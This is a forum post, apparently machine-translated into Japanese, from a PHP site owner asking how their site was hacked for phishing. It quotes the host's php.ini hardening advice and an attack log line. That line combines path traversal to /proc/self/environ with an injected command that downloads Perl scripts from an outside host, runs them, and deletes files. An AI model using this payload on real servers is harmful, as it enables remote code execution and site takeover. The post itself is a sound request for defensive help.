私のウェブサイトはフィッシング目的で攻撃されました。複雑なウェブサイトですが、私は投稿ファイルとPHPファイルのみを使用しています。
彼らはどうやって私を攻撃することができますか?私は$_POSTのみを使用しているので、SQLコマンドとパラメーターは表示されないと思います。私の小さなコーディングリストとWebサイトへのアクセスだけのフレームワークはありません。
任意のヒント/提案をいただければ幸いです。
直接返信しない場合は申し訳ありませんが、サイト全体をブロックしたプロバイダーと取引しています。
これが彼らの答えです(それについてのコメントは歓迎されます):
スクリプトインジェクションはサイトコード自体を攻撃するため、Webサーバーのセキュリティを完全に回避することができます。残念ながら、一部のコンテンツ管理システム(特に古いバージョンのJoomla)は、この形式の攻撃の影響を非常に受けやすくなっています。
攻撃者がこの方法を使用する機能を削除する簡単な方法は、次のコンテンツを含むphp.iniファイルをWebサイトのトップレベルに追加することです。ただし、Webサイトは後でテストして、正当なWebサイトのスクリプト化されたアクションは、変更の影響を受けています。
php.iniディレクティブは...
allow_url_include = "0"
allow_url_fopen = "0"
アップデート:
これが私がウェブホスト会社から得たものです:
121.254.216.170 --- [2011年9月12日:05:21:07 +0100] "GET /?p=../../../../../../../../ ../../../../../../../proc/self/environ%00 HTTP / 1.1 "200 5806"-"" http://some.thesome.com/etc/ byz.jpg?-O / tmp / cmd548; cd / tmp; lwp-download http://some.thesome.com/etc/cup.txt ; perl cup.txt; rm -rf * .txt *; wget http: //some.thesome.com/etc/update.txt;perl update.txt; rm -rf * .txt *'); echo \ "#j13mb0t \" ;?> "